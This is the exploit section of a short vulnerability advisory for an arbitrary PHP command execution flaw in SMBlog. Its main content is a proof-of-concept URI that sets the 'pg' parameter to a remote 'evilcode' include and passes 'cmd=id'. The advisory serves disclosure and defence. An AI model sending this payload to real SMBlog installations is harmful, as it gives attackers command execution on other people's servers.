• info
• discussion
• exploit
• solution
• references

SMBlog Arbitrary PHP Command Execution Vulnerability


This issue can be exploited through use of a web client.

The following proof of concept URI is available:


http://www.example.com/?pg=evilcode?&cmd=id